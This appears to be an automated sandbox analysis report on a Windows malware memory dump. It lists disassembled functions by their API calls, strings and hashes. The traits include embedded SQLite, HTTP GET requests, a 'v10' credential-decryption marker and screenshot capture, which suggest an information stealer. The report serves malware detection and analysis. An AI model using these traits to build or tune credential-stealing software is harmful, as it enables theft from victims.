Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Version_memset
String ID:
API String ID: 963298953-0
Opcode ID: 630a03cfa351ca82e0eb45fb75b4b476b08a7a55b897fe50bcbface550743a92
Instruction ID: a5026e6e28ae449b84c2821484506ba216ab75e514caff06066bd32c3568e6aa
Opcode Fuzzy Hash: 630a03cfa351ca82e0eb45fb75b4b476b08a7a55b897fe50bcbface550743a92
Instruction Fuzzy Hash: B9F0B431A642199FDB14DFB4EC42FAD73B49B05704F1005BD910EE72C2EA34964C8F05

Uniqueness

Uniqueness Score: -1.00%

Function 00470464, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,0046B69A), ref: 0047046C
__mtterm.LIBCMT ref: 00470478

Part of subcall function 00470143: DecodePointer.KERNEL32(00000007,004705DA,?,0046B69A), ref: 00470154
Part of subcall function 00470143: TlsFree.KERNEL32(0000001D,004705DA,?,0046B69A), ref: 0047016E
Part of subcall function 00470143: DeleteCriticalSection.KERNEL32(00000000,00000000,77E4F3A0,?,004705DA,?,0046B69A), ref: 004728F6
Part of subcall function 00470143: _free.LIBCMT ref: 004728F9
Part of subcall function 00470143: DeleteCriticalSection.KERNEL32(0000001D,77E4F3A0,?,004705DA,?,0046B69A), ref: 00472920

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0047048E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0047049B
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004704A8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004704B5
TlsAlloc.KERNEL32(?,0046B69A), ref: 00470505
TlsSetValue.KERNEL32(00000000,?,0046B69A), ref: 00470520
__init_pointers.LIBCMT ref: 0047052A
EncodePointer.KERNEL32(?,0046B69A), ref: 0047053B
EncodePointer.KERNEL32(?,0046B69A), ref: 00470548
EncodePointer.KERNEL32(?,0046B69A), ref: 00470555
EncodePointer.KERNEL32(?,0046B69A), ref: 00470562
DecodePointer.KERNEL32(Function_000702C7,?,0046B69A), ref: 00470583
__calloc_crt.LIBCMT ref: 00470598
DecodePointer.KERNEL32(00000000,?,0046B69A), ref: 004705B2
GetCurrentThreadId.KERNEL32 ref: 004705C4

Strings

FlsAlloc, xrefs: 00470488
FlsSetValue, xrefs: 0047049D
KERNEL32.DLL, xrefs: 00470467
FlsFree, xrefs: 004704AA
FlsGetValue, xrefs: 00470490

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: bf80e413a73e2ed9339da5ddd42c98960932bea181f134a1a57730707299c739
Instruction ID: a6514c9f43803496a8cc65028fa9ea3a733dbab8ef7a352968fba5221639d0b5
Opcode Fuzzy Hash: bf80e413a73e2ed9339da5ddd42c98960932bea181f134a1a57730707299c739
Instruction Fuzzy Hash: 49316D31941212EADB21EF76ED4C6DA3EA4EB647607144A3FF418922B0FB798540CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 004440D1, Relevance: 28.5, APIs: 2, Strings: 14, Instructions: 473COMMON

Download Yara Rule

Strings

Fragmentation of %d bytes reported as %d on page %d, xrefs: 004445EE
Rowid %lld out of order (min less than parent max of %lld), xrefs: 00444449
On tree page %d cell %d: , xrefs: 004441A9
Multiple uses for byte %d of page %d, xrefs: 004445CF
Page %d: , xrefs: 00444129, 0044436A
Corruption detected in cell %d on page %d, xrefs: 00444535
unable to get the page. error code=%d, xrefs: 0044413F
Rowid %lld out of order (previous was %lld), xrefs: 0044420F
On page %d at right child: , xrefs: 00444330
Child page depth differs, xrefs: 004442EC
Rowid %lld out of order (max larger than parent min of %lld), xrefs: 004443BB
Rowid %lld out of order (min less than parent min of %lld), xrefs: 004443DE
btreeInitPage() returns error code %d, xrefs: 00444168
Rowid %lld out of order (max larger than parent max of %lld), xrefs: 0044440C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Child page depth differs$Corruption detected in cell %d on page %d$Fragmentation of %d bytes reported as %d on page %d$Multiple uses for byte %d of page %d$On page %d at right child: $On tree page %d cell %d: $Page %d: $Rowid %lld out of order (max larger than parent max of %lld)$Rowid %lld out of order (max larger than parent min of %lld)$Rowid %lld out of order (min less than parent max of %lld)$Rowid %lld out of order (min less than parent min of %lld)$Rowid %lld out of order (previous was %lld)$btreeInitPage() returns error code %d$unable to get the page. error code=%d
API String ID: 0-2326541033
Opcode ID: 595790d936ca82a89320054d5f74cdfb5b2d646166774f9c90e660a9b08fb264
Instruction ID: faa56be6321582b24f794048a7152db149625d79fc18a7529399796fe82704c1
Opcode Fuzzy Hash: 595790d936ca82a89320054d5f74cdfb5b2d646166774f9c90e660a9b08fb264
Instruction Fuzzy Hash: D7126B71900129AFEF14DFA9C881BAEBBB1FF44314F14816AF855AB241D7789E50CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E083, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040E08A
__cftof.LIBCMT ref: 0040E113
InternetOpenA.WININET(?,00000000,?,00000000,00000000), ref: 0040E12E
InternetSetOptionA.WININET(00000000,00000041,00000004), ref: 0040E151
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 0040E172
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00400000,00000001), ref: 0040E19C
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E1B5
InternetCloseHandle.WININET(00000000), ref: 0040E1CB

Part of subcall function 00402EA9: std::_Xinvalid_argument.LIBCPMT ref: 00402EBC
Part of subcall function 00402EA9: _memmove.LIBCMT ref: 00402EF7

InternetCloseHandle.WININET(?), ref: 0040E1D4
InternetCloseHandle.WININET(?), ref: 0040E1DD

Strings

GET, xrefs: 0040E196
http://, xrefs: 0040E0AD
/, xrefs: 0040E0D7

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSendXinvalid_argument__cftof_memmovestd::_
String ID: /$GET$http://
API String ID: 2363951992-2325301807
Opcode ID: cece20078e738623206af8c20ab103f171099a69b905ad46f83a6c7eb2a98108
Instruction ID: 2c2113c5417e3d0e7c384b688603722c4f18f4d71f7c428fa70701178f72a7ca
Opcode Fuzzy Hash: cece20078e738623206af8c20ab103f171099a69b905ad46f83a6c7eb2a98108
Instruction Fuzzy Hash: 184119B1900208AEEB11EBE6CC85EEEBB7CEB14704F10443EF512B61D1DBB959458B69

Uniqueness

Uniqueness Score: -1.00%

Function 004042FC, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 277COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040434D
_memmove.LIBCMT ref: 0040439B
_memmove.LIBCMT ref: 004043C5
_memmove.LIBCMT ref: 004043FB
_memmove.LIBCMT ref: 00404457
_memmove.LIBCMT ref: 004044B1
_memmove.LIBCMT ref: 004044FE
_memmove.LIBCMT ref: 0040452C
_memmove.LIBCMT ref: 0040455F
std::_Xinvalid_argument.LIBCPMT ref: 0040458B

Strings

invalid string position, xrefs: 00404586
string too long, xrefs: 00404348

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: e1dcb338f6ff882e4ebbf147682959a3a90d1cafc345398e3fd207376342e08e
Instruction ID: 4bd97c7bb5cd782722ec7cea22b93ec19d06687b45f0035df8191a130f6a9bc8
Opcode Fuzzy Hash: e1dcb338f6ff882e4ebbf147682959a3a90d1cafc345398e3fd207376342e08e
Instruction Fuzzy Hash: 0C913EB03001059BCF24DF18DD91A6EB7A6EFC1708724493EFA42AB681D778E855CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E9DC, Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 269COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0042EAC4
__fprintf_l.LIBCMT ref: 0042EBF5
_memmove.LIBCMT ref: 0042EC9F

Strings

lib, xrefs: 0042EB58
_init, xrefs: 0042EBAB
error during initialization: %s, xrefs: 0042EC48
not authorized, xrefs: 0042EA19
no entry point [%s] in shared library [%s], xrefs: 0042EBEE
sqlite3_extension_init, xrefs: 0042EA3B
unable to open shared library [%s], xrefs: 0042EABD
sqlite3_, xrefs: 0042EB33
%s.%s, xrefs: 0042EA65

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fprintf_l$_memmove
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%s]
API String ID: 3461008893-4148685299
Opcode ID: 40c66fe5060782ab32122c4b1b2bab727f803f1be732ea730856a7be84874fa7
Instruction ID: 686d5b9f190d863a25cbb6758587c95e1d8d3715b8070b6b7ef7b9f75d0d896d
Opcode Fuzzy Hash: 40c66fe5060782ab32122c4b1b2bab727f803f1be732ea730856a7be84874fa7
Instruction Fuzzy Hash: DA91B371A00325AFDF21EFA6E841AAE7BB4FF44304F54446AF845AB241D7389940CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004406FD, Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 360COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00440A8E

Strings

mode, xrefs: 004409B7
vfs, xrefs: 00440964
localhost, xrefs: 004407BC
no such %s mode: %s, xrefs: 00440A16
no such vfs: %s, xrefs: 00440AB7
file:, xrefs: 0044073E
%s mode not allowed: %s, xrefs: 00440A5C
access, xrefs: 004409D7
invalid uri authority: %.*s, xrefs: 004407CF
cache, xrefs: 0044098A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID: %s mode not allowed: %s$access$cache$file:$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s$vfs
API String ID: 4104443479-2023962546
Opcode ID: 0991d6dc8eb649fb25ea203fac6ef4c599ccc545146c4cdf17e6c1cbd09b9ec9
Instruction ID: 6fbf85c83f6a683e4e5f8bbbedeacf4bcf715c84a3be88edf7155a454e20b68a
Opcode Fuzzy Hash: 0991d6dc8eb649fb25ea203fac6ef4c599ccc545146c4cdf17e6c1cbd09b9ec9
Instruction Fuzzy Hash: 19C10971D042199BFF24DF68C4807EEBBB1AF55314F24406BE944AB342D7389D928B99

Uniqueness

Uniqueness Score: -1.00%

Function 00404027, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00404069
_memmove.LIBCMT ref: 004040B4
_memmove.LIBCMT ref: 004040EE
_memmove.LIBCMT ref: 00404111
std::_Xinvalid_argument.LIBCPMT ref: 0040413D
std::_Xinvalid_argument.LIBCPMT ref: 00404188
std::_Xinvalid_argument.LIBCPMT ref: 0040419E
_memmove.LIBCMT ref: 004041E1
_memmove.LIBCMT ref: 004041FE

Strings

invalid string position, xrefs: 00404138, 00404183
string too long, xrefs: 00404064, 00404199

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: c26d2d35058b0d4886ab527f8dc05504dec7deb65eeb02a14e7f29b0bef27195
Instruction ID: 029a1ed6df909386a0fd4be93ffa626285e4c0521d2b432efc450b21c908ee87
Opcode Fuzzy Hash: c26d2d35058b0d4886ab527f8dc05504dec7deb65eeb02a14e7f29b0bef27195
Instruction Fuzzy Hash: 9A51E0B03002449BDB249E5DDD8492BB7A6EBD1704B14092FFA52AB6C1CB78EC81C79D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A9F9, Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 0041E194: _memset.LIBCMT ref: 0041E1B1

__fprintf_l.LIBCMT ref: 0042AA90
__fprintf_l.LIBCMT ref: 0042AB0C
__fprintf_l.LIBCMT ref: 0042AB85
__fprintf_l.LIBCMT ref: 0042AC15

Strings

winGetTempname5, xrefs: 0042ABE5
etilqs_, xrefs: 0042AA02, 0042AC06
winGetTempname3, xrefs: 0042AAED
winGetTempname1, xrefs: 0042AA71
winGetTempname2, xrefs: 0042AB59
winGetTempname4, xrefs: 0042ABFC

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fprintf_l$_memset
String ID: etilqs_$winGetTempname1$winGetTempname2$winGetTempname3$winGetTempname4$winGetTempname5
API String ID: 639243752-3409217566
Opcode ID: 3ddff6608b8166ea6f4b1a83f9d9418697d365b64e81103a959845a5ff67348d
Instruction ID: c05b965fa417139a0660b0f0fc0e17a3cf22c761794f4fc20f088162223cf099
Opcode Fuzzy Hash: 3ddff6608b8166ea6f4b1a83f9d9418697d365b64e81103a959845a5ff67348d
Instruction Fuzzy Hash: 1B614630704611EBD714BF26ED41DBE3B9A9F41348B54442FF80286286EB3CD992C6AF

Uniqueness

Uniqueness Score: -1.00%

Function 0046092E, Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00460935
std::_Lockit::_Lockit.LIBCPMT ref: 0046093F
int.LIBCPMT ref: 00460956

Part of subcall function 0040E7C0: std::_Lockit::_Lockit.LIBCPMT ref: 0040E7D1

std::locale::_Getfacet.LIBCPMT ref: 0046095F
codecvt.LIBCPMT ref: 00460979
std::bad_exception::bad_exception.LIBCMT ref: 0046098D
__CxxThrowException@8.LIBCMT ref: 0046099B
std::locale::facet::_Incref.LIBCPMT ref: 004609AB
std::locale::facet::_Facet_Register.LIBCPMT ref: 004609B1

Strings

bad cast, xrefs: 00460985

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LockitLockit::_std::_std::locale::facet::_$Exception@8Facet_GetfacetH_prolog3IncrefRegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 1335069804-3145022300
Opcode ID: cd79384fef1f77b9072095cc43c5610e65244484bd1c5ee125791dbdcc01bb60
Instruction ID: 55cdbc2eda2367954acc80750543d153a50a7ecde925d63bde76dc9d08433b43
Opcode Fuzzy Hash: cd79384fef1f77b9072095cc43c5610e65244484bd1c5ee125791dbdcc01bb60
Instruction Fuzzy Hash: 0D015E7190021597CF01FBA2C852ABE7326AF50728F15092FE4116B2D2EF3C9A05975E

Uniqueness

Uniqueness Score: -1.00%

Function 004109F9, Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00410A00
std::_Lockit::_Lockit.LIBCPMT ref: 00410A0A
int.LIBCPMT ref: 00410A21

Part of subcall function 0040E7C0: std::_Lockit::_Lockit.LIBCPMT ref: 0040E7D1

std::locale::_Getfacet.LIBCPMT ref: 00410A2A
ctype.LIBCPMT ref: 00410A44
std::bad_exception::bad_exception.LIBCMT ref: 00410A58
__CxxThrowException@8.LIBCMT ref: 00410A66
std::locale::facet::_Incref.LIBCPMT ref: 00410A76
std::locale::facet::_Facet_Register.LIBCPMT ref: 00410A7C

Strings

bad cast, xrefs: 00410A50

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LockitLockit::_std::_std::locale::facet::_$Exception@8Facet_GetfacetH_prolog3IncrefRegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 2043575007-3145022300
Opcode ID: 44a746111c136fa462104c10abe98b07bafbb958524ccdf8178c93e08636b6f1
Instruction ID: 5e07171dfcbb5b2c7f366fbbc61a156674da89e8b8465a570a758c9dc626d0df
Opcode Fuzzy Hash: 44a746111c136fa462104c10abe98b07bafbb958524ccdf8178c93e08636b6f1
Instruction Fuzzy Hash: 120161319002159BCF01FBA2D852AFD73356F50728F15492FE4116B2D1EF7C9A81975E

Uniqueness

Uniqueness Score: -1.00%

Function 0042262F, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 004226EE
__fprintf_l.LIBCMT ref: 00422733
_memmove.LIBCMT ref: 00422776
__fprintf_l.LIBCMT ref: 004227A3

Strings

CREATE TABLE , xrefs: 004226E5
, xrefs: 004226A6
, , xrefs: 004226AD

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fprintf_l$_memmove
String ID: $, $CREATE TABLE
API String ID: 3461008893-3459038510
Opcode ID: d6421dbf6bc4441316b2a147696ad7a70d4d02c7e0e72bfb320e455724b1bc93
Instruction ID: 7afaa2fc4a9fa72412e12cf93fe45c373d5c9d54822805eca9fabad4e085ff01
Opcode Fuzzy Hash: d6421dbf6bc4441316b2a147696ad7a70d4d02c7e0e72bfb320e455724b1bc93
Instruction Fuzzy Hash: 31518072D00229EFCB10DF99D981AEFBBF5EF44308F60445BE845A7205E7789A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00470180, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00499468,00000008,00470288,00000000,00000000,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 00470191
__lock.LIBCMT ref: 004701C5

Part of subcall function 00472A09: __mtinitlocknum.LIBCMT ref: 00472A1F
Part of subcall function 00472A09: __amsg_exit.LIBCMT ref: 00472A2B
Part of subcall function 00472A09: EnterCriticalSection.KERNEL32(00000000,00000000,?,004701CA,0000000D), ref: 00472A33

InterlockedIncrement.KERNEL32(?), ref: 004701D2
__lock.LIBCMT ref: 004701E6
___addlocaleref.LIBCMT ref: 00470204

Strings

KERNEL32.DLL, xrefs: 0047018C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: bd2d73a5c37b10c049c8130ad4cf988b84cbb8acb719e10c445666a9b0dac508
Instruction ID: 8e00da309b3ace2d843035e86f14a78c79139ab64b9b24529f34df930dded43d
Opcode Fuzzy Hash: bd2d73a5c37b10c049c8130ad4cf988b84cbb8acb719e10c445666a9b0dac508
Instruction Fuzzy Hash: B601A171441B00EFD720AFA6D909749FBE0AF00319F20895FE499523A1DBB8AA44CB19

Uniqueness

Uniqueness Score: -1.00%

Function 0044890C, Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 405COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00448AD0

Strings

MJ delete: %s, xrefs: 00448AF2
-mj%06X9%02X, xrefs: 00448AC6
MJ collide: %s, xrefs: 00448A9B
%s-mjXXXXXX9XXz, xrefs: 00448A66

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fprintf_l
String ID: %s-mjXXXXXX9XXz$-mj%06X9%02X$MJ collide: %s$MJ delete: %s
API String ID: 3906573944-4034981963
Opcode ID: 81019ecf9657fd194a133af4bca22953febb2cfe1cc7bdad44359f2ba744c3e6
Instruction ID: d62ea1f71efc347e81bb8cdf44990b6c7e3c185f246806260c88599b9431391f
Opcode Fuzzy Hash: 81019ecf9657fd194a133af4bca22953febb2cfe1cc7bdad44359f2ba744c3e6
Instruction Fuzzy Hash: D8E13B70E01619EFEB21DF99C881AAEB7B1FF04714F14445FE905A7341CB789E818B99

Uniqueness

Uniqueness Score: -1.00%

Function 00412474, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0041247B
_memset.LIBCMT ref: 004124D6
LocalAlloc.KERNEL32 ref: 00412511

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Strings

v10, xrefs: 004124A4
NULL, xrefs: 00412588

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove$AllocH_prolog3_Local_memset
String ID: NULL$v10
API String ID: 1135815740-1391045996
Opcode ID: 4f12ef1e7e9e5dec935c9b6a6143f6fd8c3739b0802609ccb78e578dd42ec465
Instruction ID: cc3130879b4121855b668327c8becf4fce46d84024f1dbedde584216a45d2d9e
Opcode Fuzzy Hash: 4f12ef1e7e9e5dec935c9b6a6143f6fd8c3739b0802609ccb78e578dd42ec465
Instruction Fuzzy Hash: 7D416F71900218ABDF14DFA5DD95BEEBBB9FF84304F10442EF401AB282D7B99950CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042C374, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 0041E194: _memset.LIBCMT ref: 0041E1B1

__fprintf_l.LIBCMT ref: 0042C3BC
__aulldiv.LIBCMT ref: 0042C3F6
__fprintf_l.LIBCMT ref: 0042C405

Strings

%llu, xrefs: 0042C3FD
%llu, xrefs: 0042C3B4

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __fprintf_l$__aulldiv_memset
String ID: %llu$%llu
API String ID: 2327972778-4283164361
Opcode ID: 346758ee5d5abfb5b7ff487ebdb8ead41457536dcf3fb43467ff9954f17c104c
Instruction ID: a10534b6bbca0ac527d016d8594591406dd601fb04a4144a787af7a0f2057c78
Opcode Fuzzy Hash: 346758ee5d5abfb5b7ff487ebdb8ead41457536dcf3fb43467ff9954f17c104c
Instruction Fuzzy Hash: 9F21A671B00304BBDB14AF95DCC2EAF37AADB80364F50852EF851972C1DA78AD818669

Uniqueness

Uniqueness Score: -1.00%

Function 0046088E, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004608A5

Part of subcall function 004664DF: std::exception::exception.LIBCMT ref: 004664F4
Part of subcall function 004664DF: __CxxThrowException@8.LIBCMT ref: 00466509
Part of subcall function 004664DF: std::exception::exception.LIBCMT ref: 0046651A

std::_Xinvalid_argument.LIBCPMT ref: 004608BB
_memmove.LIBCMT ref: 004608FC

Strings

invalid string position, xrefs: 004608A0
string too long, xrefs: 004608B6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: 8f0609573dc8792e3b787da4b70a5af370bb0670c6a8f31ef5ae934659b5e719
Instruction ID: 07e3c47380ad6b6ed52e3ac9c5d70053e8c35ad7b09bccb0c1d6982e88b20f38
Opcode Fuzzy Hash: 8f0609573dc8792e3b787da4b70a5af370bb0670c6a8f31ef5ae934659b5e719
Instruction Fuzzy Hash: 8411C4717006005BDB24FE5DDC81A2FB7AAEF81754B14092FF49297682EB78AC44C79E

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA3C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040CA53

Part of subcall function 004664DF: std::exception::exception.LIBCMT ref: 004664F4
Part of subcall function 004664DF: __CxxThrowException@8.LIBCMT ref: 00466509
Part of subcall function 004664DF: std::exception::exception.LIBCMT ref: 0046651A

std::_Xinvalid_argument.LIBCPMT ref: 0040CA75
_memmove.LIBCMT ref: 0040CAB9

Strings

invalid string position, xrefs: 0040CA4E
string too long, xrefs: 0040CA70

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: d19cbd53ed256edd4ac688289e7d27b510d1771306d2483830b2ee19bf9824ed
Instruction ID: 7b292972aec31b16c06abc19042f9319a01fcdf3a23de0930ca09397c59b4ff7
Opcode Fuzzy Hash: d19cbd53ed256edd4ac688289e7d27b510d1771306d2483830b2ee19bf9824ed
Instruction Fuzzy Hash: 0C11B631300608DBCB14DF68D8C1E5AB3A9BF85714721462FF816A72C1EB38E905CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041005B, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0041007A
std::exception::exception.LIBCMT ref: 0041009C

Strings

ios_base::eofbit set, xrefs: 004100D4
ios_base::failbit set, xrefs: 004100C4
ios_base::badbit set, xrefs: 0041008E

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3728558374-1866435925
Opcode ID: 9561d2db12ff41735d027b913010fef2fd9cd2c7c1fadabdfb83a954d76bc28e
Instruction ID: 60622e9e0da85198d585e2f089a221f2e5f0a0c7649fd425f0b24498514ed944
Opcode Fuzzy Hash: 9561d2db12ff41735d027b913010fef2fd9cd2c7c1fadabdfb83a954d76bc28e
Instruction Fuzzy Hash: C30175B1400608AEC740FF69C405BEE7FF49B04358F94C41FA5459B211EBBCCA858B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0046002B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00460033

Part of subcall function 0046949E: __FF_MSGBANNER.LIBCMT ref: 004694B7
Part of subcall function 0046949E: __NMSG_WRITE.LIBCMT ref: 004694BE
Part of subcall function 0046949E: RtlAllocateHeap.NTDLL(00000000,00000001,?,00000001,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 004694E3

GetTickCount.KERNEL32 ref: 0046003E

Part of subcall function 0046B2D8: __getptd.LIBCMT ref: 0046B2DD

_rand.LIBCMT ref: 00460053

Part of subcall function 0046B2EA: __getptd.LIBCMT ref: 0046B2EA

_sprintf.LIBCMT ref: 00460066

Strings

%s%d, xrefs: 00460060

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __getptd$AllocateCountHeapTick_malloc_rand_sprintf
String ID: %s%d
API String ID: 2210831635-1110647743
Opcode ID: ebd81e9942656529f1bf291e3e53d0c433d6b17cd07766941c63f639271fd63b
Instruction ID: b7c85840912f775504718487d95ad9a25f9f795e13ef6115174ac58a19cb1077
Opcode Fuzzy Hash: ebd81e9942656529f1bf291e3e53d0c433d6b17cd07766941c63f639271fd63b
Instruction Fuzzy Hash: F9E0A3233042501AD31166ED1C55B3FD79CDFD2365F20085FF10486182FAAC4C4042BB

Uniqueness

Uniqueness Score: -1.00%

Function 0046023A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0046025D
GetSystemMetrics.USER32(00000000), ref: 00460263
GetSystemMetrics.USER32(00000001), ref: 0046026D

Part of subcall function 004601CC: SelectObject.GDI32(00000000,00000000), ref: 004601F5
Part of subcall function 004601CC: DeleteObject.GDI32(00000000), ref: 0046022D

GdiplusShutdown.GDIPLUS(?), ref: 00460287

Strings

screenshot.jpg, xrefs: 00460273

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GdiplusMetricsObjectSystem$DeleteSelectShutdownStartup
String ID: screenshot.jpg
API String ID: 654883086-673422685
Opcode ID: 5b3162986c4697fce1e4430f1fba1209b6d5023a89b600246d1f2fec9312381a
Instruction ID: 1af3833e20a9f11a21b80a8a3a48868f5a278438c79d68a1c029940001f999b4
